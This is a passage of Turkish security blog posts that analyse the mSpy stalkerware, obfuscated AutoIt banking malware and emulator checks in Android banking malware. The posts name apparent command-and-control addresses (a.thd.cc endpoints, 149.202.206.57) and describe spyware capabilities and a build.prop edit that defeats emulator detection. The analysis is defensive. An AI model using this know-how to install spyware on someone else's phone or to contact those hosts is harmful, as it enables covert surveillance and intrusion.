Nasıl kolaylaştırdığı sorusunun yanıtını öğrenmek için bu alanda kullanılan herhangi bir casus yazılımın web sitesini incelemeniz yeterli olacaktır. Örneğin mspy casus uygulamasının web sitesini incelediğinizde jailbreak edilmiş bir iOS cihazda hangi uygulamalara ait verinin kolaylıkla toplanabileceğini görebilirsiniz. Bir diğer casus uygulama olan Flexispy uygulamasının web sitesini inceleyerek olursanız da, root yetkisine sahip olunan bir cihazda tüm anlık mesajlaşmalara ulaşmaktan tutun da ortam dinlemesi yapılmasına imkan tanıdığını görebilirsiniz.

turk.internet.com sitesinin kurucusu Füsun NEBİL ile Mart ayında gerçekleştirdiğimiz söyleşide, halk arasında cihaz çok ısınıyorsa, şarjı çabuk bitiyorsa casus yazılım vardır inanışının güçlü donanımlar sayesinde günümüzde çok da doğruyu yansıtmadığına değinmiştim. Hatta mspy geliştiricilerinin jailbreaksiz, sadece hedef iPhone kullanıcısının iCloud parolasına ihtiyaç duyarak karşı tarafı izlemeye (iCloud yedeklerini belli periyotlarda indirip, analiz etmektedir.) imkan tanıdığını da görebilirsiniz.

Tabii bu yazıyı okuyanlardan bazılarının aklına peki ya benim cihazıma casus yazılım yüklendi ise nasıl tespit edebilirim sorusu gelecektir. Benim de aklıma benzer bir soru geldiği için bu soruyu Pi Hediyem Var #8 oyununda sormaya karar verdim.
Örnek olarak mspy v4.18.3 casus uygulaması yüklü bir Android cihazı ele alacak olursak, ikon/simge gizleme özelliğini de barındıran mspy casus uygulaması Android cihazınızda yüklü ise her ne kadar simgesi gizli olsa da dosya sistemi üzerinde android.sys.process , cihaz yöneticileri kısmında ise Update Service adı altında kolaylıkla tespit edilebilmektedir.

Bu gibi durumlarda cihazın http trafiğini Charles Proxy gibi bir araca yönlendirip trafiğini izlemekte de fayda olabilir. Örneğin mspy v4.18.3 casus yazılımı yüklü olan bir cihazın trafiğini incelediğinizde, casus uygulamanın elde ettiği bilgileri http://a.thd.cc adresine gönderdiğini görebilirsiniz.

Tabii sistemden toplanan ve komuta kontrol merkezine gönderilen veri bu örnekte olduğu gibi gizlenmiş (encoded) ise bu durumda statik (dex2jar, JD-GUI, IDA Pro ve/veya Radare2 araçlarından faydalanabilirsiniz.) veya dinamik kod analizi ile gizlenmiş veriyi çözebilirsiniz. Dinamik kod analizi için IDA Pro aracından faydalanabilirsiniz.
Bunun için öncelikle casus uygulamanın apk uzantılı kurulum paketine (bt.apk) ihtiyacınız olacaktır. Bunu elde ettikten sonra paketin içinden çıkan classes.dex dosyasını IDA ile açmanız gerekmektedir. Ardından Android Emulator‘e yüklediğiniz (adb install bt.apk) casus uygulamayı IDA Pro ile analiz etmeye başladığınızda data parametresi ile sunucuya iletilen gizlenmiş veriyi tetiklemek için kayıt işlemini gerçekleştirmeye çalışmanız yeterli olacaktır.
Kayıt ekranında 1 yazdıktan sonra butona bastığınızda uygulamanın http://a.thd.cc/apiv4/register/registerjson adresine gizlenmiş data parametresini de içeren bir veri gönderdiğini görebilirsiniz. Bundan yola çıkarak IDA üzerinde registerjson ile ilişkili olabilecek yerlere kesme noktası (breakpoint) koyacak olursanız çok geçmeden sistem üzerinden toplanan email, imei gibi bilgilerin toplanıp GZIP ile sıkıştırılıp ardından base64 ile gizlendiği kod bloğuna ulaşabilirsiniz.

data parametresinde yer alan verinin nasıl oluşturulduğunu öğrendikten sonra Python ile mspy_decoder gibi basit bir betik hazırlayarak komuta kontrol merkezine giden tüm veriyi çözebilirsiniz.

Sonuç olarak mobil güvenliğiniz için kullandığınız cihazların jailbreak veya root edilmemiş olması art niyetli kişilerin işlerini bir kademe daha zorlaştıracaktır. Casus uygulamalara karşı Android kullanıcılarının belirli periyotlarda cihaz yöneticilerinde yer alan uygulamaları kontrol etmelerinde, iOS kullanıcılarının ise iCloud parolalarını değiştirmelerinde fayda olacaktır.
Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.
Not: Bu yazı Pi Hediyem Var #8 oyununun çözüm yolunu da içermektedir.
The post Casus Telefon appeared first on Siber Güvenlik Günlüğü.

AutoIt Hata Ayıklaması

By Mert SARICA on February 1st, 2017 - online version

Hem Pi Hediyem Var oyununun altıncısına hem de AutoIt Bankacılık Zararlı Yazılımı başlıklı blog yazıma konu olan zararlı yazılımı/betiği incelediğimizde, AutoIt’in son yıllarda zararlı yazılım geliştiriciler tarafından sıklıkla kullanıldığını görebiliyoruz. APT gibi hedeflenmiş siber saldırılarda da AutoIt ile geliştirilmiş zararlı yazılımların kullanılıyor olması, zararlı yazılım analistleri ve zararlı yazılım analizi becerisine sahip siber güvenlik uzmanları tarafından analiz edilebilmesini ihtiyaç haline getirmektedir.

Wikipedia‘dan alıntı yapacak olursak, “AutoIt, Microsoft Windows için ücretsiz bir otomasyon yazılımıdır. Yazılımın ilk versiyonları tamamen otomasyona yönelik hazırlanmış olsa da sonradan kapsamı genişletilerek hemen her türlü uygulamanın geliştirilebileceği bir programlama aracı haline gelmiştir. Bir AutoIt betiği, AutoIt yorumlayıcısının yüklü olmadığı bilgisayarlarda çalışabilecek şekilde, sıkıştırılmış bir EXE programı haline getirilebilir.”

Eğer “AutoIt Bankacılık Zararlı Yazılımı” başlıklı blog yazımdaki gibi şanslıysak, elimizdeki AutoIt betiğini (script) çeşitli hata ayıklama (debug) araçları ile analiz edebiliriz. Eğer derlenmiş, exe uzantılı bir AutoIt dosyası ile karşı karşıya isek bu durumda yapacağımız ilk iş, derlenmiş AutoIt dosyasını, betiğe çevirmek olacaktır.
Derlenmiş AutoIt dosyasını betiğe çevirmek için Exe2aut aracından faydalanabiliriz. Exe2aut aracını çalıştırdıktan sonra exe uzantılı AutoIt dosyasını araca sürükledikten sonra betik dosyasına kolaylıkla ulaşabiliyoruz.

Peki betiğe ulaştık, şimdi ne yapacağız ? AutoIt’in web sayfasında yer alan Sıkça Sorulan Sorular sayfasına bakacak olursak, hata ayıklama için çeşitli araçlardan faydalanabileceğimizi görebiliyoruz.
6. Pi Hediyem Var oyununda kimilerinin safe betiğini analiz ederken hata ayıklama araçları yerine ConsoleWrite(), MsgBox() gibi ekrana değişkenlerin sahip olduğu değerleri yazmak için kullanılan fonksiyonlardan faydalandığını gördüm. Her ne kadar bu da bir yöntem olsa da işleri kolaylaştırmak ve daha hızlı ilerlemek için hata ayıklama araçlarından faydalanmanızı tavsiye ederim. Tabii kimi zaman hata ayıklama araçlarıyla sorun yaşamanız da olasıdır. Örneğin yine 6. Pi Hediyem Var oyununda, hata ayıklama araçlarından olan Dbug aracını AutoIt programının son sürümü ile kullanarak safe betiğini analiz etmeye çalışanlar, #comments-start ile #comments-end takıları arasında yer alan gizlenmiş (obfuscated) verilerin hatalı olarak çözülerek diske yazıldığına şahit oldular. Bu ve benzer sorunlarla karşılaşmama adına, zararlı yazılımın geliştirildiği AutoIt sürümü ile betiği analiz ederseniz, sorun yaşama ihtimaliniz oldukça düşecektir. AutoIt sürümünü bulmak için ise betik ile birlikte gelen AutoIt programının karakter dizilerini (strings) incelemeniz yeterli olacaktır.

Hata ayıklama araçları (betikleri) arasında Dbug aracı, diğer araçlara kıyasla daha kullanışlı olduğu için onunla ilerleyebilirsiniz.
Dbug aracını kullanmak için öncelikle Auto IT script editörü olan SciTE aracını yüklememiz gerekiyor. Dbug aracının kurulum paketinden çıkan _Dbug.au3 dosyasını, analiz etmek istediğimiz safe betiği ile aynı klasöre koyduktan sonra safe betiğinin ilk satırına #Include “_Dbug.au3” satırını ekliyoruz. Bu işlemi gerçekleştirdikten sonra Dbug hata ayıklama aracını/betiğini çalıştırmak için başka bir eksiğimiz kalmıyor.
safe betiğini SciTE ile açtıktan sonra ilk olarak F5 (run/resume execution) tuşuna basarak Dbug aracının devreye girmesini sağlıyoruz. Fakat betiği çalıştırdığımızda, AutoIt kütüphanesindeki değişkenler ve fonksiyonlar ile betiktekiler çakıştığı için soruna yol açan bu değişkenleri ve fonksiyonları silmemiz gerekiyor.

Betiği sorunsuz bir şekilde çalıştırdıktan sonra gözümüze kestirdiğimiz bir satırın üzerine gelip F9 (run to cursor) tuşuna basarak program akışının o satıra kadar ilerlemesini sağlıyoruz. 3711. satıra geldiğimizde farenin imlecini (cursor) bir üst satırda yer alan $lc70652o3373 değişkenin üzerine getirdiğimizde, o değişkenin hangi değere (http://149.202.206.57) sahip olduğunu görebiliyoruz. OllyDbg aracında olduğu gibi F7 tuşuna basarak ilgili fonksiyonun içine girebiliyor, F8 tuşuna basarak ise (step over) fonksiyonun içine girmeden akışın (flow) devam etmesini sağlayabiliyoruz. Özetle Dbug aracı sayesinde adım adım fonksiyonların ne işe yaradığını öğrenerek, fonksiyonların yanına yorum (comment) da yazarak kısa bir süre içinde zararlı yazılımın/betiğin ne iş yaptığını kolaylıkla öğrenebiliyoruz.

Bu yazının son yıllarda AutoIt ile geliştirilen zararlı betikleri analiz etmede faydalı olması dileğiyle bir sonraki yazıda görüşmek üzere herkese güvenli günler dilerim.
The post AutoIt Hata Ayıklaması appeared first on Siber Güvenlik Günlüğü.

Android Anti Anti-Emulator

By Mert SARICA on January 1st, 2017 - online version

2014 yılında, T.C Ulaştırma Denizcilik ve Haberleşme Bakanlığı’na bağlı Haberleşme Genel Müdürlüğü tarafından yayımlanan Kurumsal SOME Kurulum ve Yönetim Rehberi‘nin yönetici özetinde de belirtildiği üzere, Kurumsal Siber Olaylara Müdahale Ekipleri (SOME), siber olayları bertaraf etmede, oluşması muhtemel zararları önlemede veya azaltmada hayati önemi olan yapılardır.
SIEM mühendislerinin, sızma testi uzmanlarının yanı sıra, zararlı yazılım analizi bilgi ve becerisine sahip güvenlik uzmanlarına da sahip olan SOMElerin, kurumların savunmasını güçlendirme ve müşterilerini koruma adına, bu uzmanlıklardan yoksun olan SOMElere kıyasla bir adım daha önde olduklarını söyleyebiliriz. (Tek kişilik dev SOME ekipleri yok sayılmıştır.)
Kritik altyapı sektörlerinden biri olan finans sektöründe yer alan bankaların ve kurumsal SOMElerinin, mobil olsun veya olmasın bankacılık zararlı yazılımlarını yakından takip etmeleri oldukça önemlidir. Kimi zaman bir banka, bankacılık zararlı yazılımlarının gelişimini izleyerek, ileride ne tür bir tehdit ile karşı karşıya kalabileceğini öngörebilir ve hazırlığını yapabilir.

Mobil bankacılık zararlı yazılımlarının dışında, yeni nesil oltalama (phishing) saldırılarının da mobil zararlı yazılım ile gerçekleştiriliyor olması, mobil zararlı yazılım analizi bilgi ve becerisine sahip olan güvenlik uzmanlarına olan ihtiyacı da ortaya koymaktadır.

2015 yılı ortalarında bankalar, müşterilerini hedef alan ve Bakır EMRE‘nin de detaylı bir şekilde analiz etmiş olduğu Android zararlı yazılımı ile karşı karşıya kaldılar.
2016 yılının ortasına geldiğimizde ise bu Android zararlı yazılımını geliştirenlerin, zararlı yazılıma TOR üzerinden haberleşme özelliği de eklediklerini gördük. Bununla da kalmayarak Türkiye’de faaliyet gösteren 51 tane bankadan (2015 yılı rakamları) 27 tanesine ait sahte sayfaları da (banka.mobilsubeyukle.com) web sayfalarında oluşturduklarına tanık olduk.

Zararlı yazılımı analiz ederken, Türkçe fonksiyon isimlerinin yanı sıra, isvm isimli başka bir fonksiyon adı dikkatimi çekti. Fonksiyonun başka herhangi bir fonksiyon tarafından çağrılmamış olması da (xref), bana ilerleyen sürümlerde bu fonksiyon ile karşılaşacağımız mesajını verdi. Fonksiyona baktığımda bunun güvenlik uzmanları tarafından zararlı yazılımı analizinde de kullanılan Android Emulator, Genymotion öykünücülerini (emulator), tespit etmeye yönelik olduğunu gördüm. Hayata geçtiğinde bunu en kolay ne şekilde atlatabilirim diye üzerinde çalışmaya başladım.

İlk olarak Google tarafından Android uygulaması geliştirmek amacıyla ücretsiz olarak dağıtılan Android Studio sürümünü kurup, jD-GUI (Java Decompiler) ile elde ettiğim isvm fonksiyonunu, tespit sonucunu çıktı olarak da gösterecek şekilde (Are you in in VM ? Result:) değiştirdikten sonra öykünücü içinde çalıştıracak bir kod hazırladım.

İlgili kod, öykünücüleri Build.PRODUCT, Build.FINGERPRINT, Build.MANUFACTURE, Build.MODEL, Build.BRAND, Build.DEVICE değerlerine göre tespit ettiği için (Are you in in VM ? Result: true) bunları GenyMotion üzerinde çalışan Custom Phone – 5.1.0 – API 22 imajında nasıl değiştirebileceğimi araştırmaya başladım. Çok geçmeden /system/build.prop dosyasında cihaz üreticisine dair bu değerlerin yer aldığını buldum. Genymotion öykünücüsünde yer alan imajlar root yetkisi ile çalıştığı için Root Explorer uygulamasını kurduktan sonra /system/build.prop dosyasında yer alan ve tespit için kullanılan değerleri teker teker silmeye başladım. Ardından dosyayı kayıt, edip öykünücüyü yeniden başlatıp öykünücü kontrolünü gerçekleştiren isvm kodunu/uygulamasını tekrar çalıştırdığımda bu defa öykünücü tespitini IDA ile uğraşmadan sistem üzerinde ufak bir değişiklikle atlatabilmiş (Are you in in VM ? Result: false) oldum :)

Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.
The post Android Anti Anti-Emulator appeared first on Siber Güvenlik Günlüğü.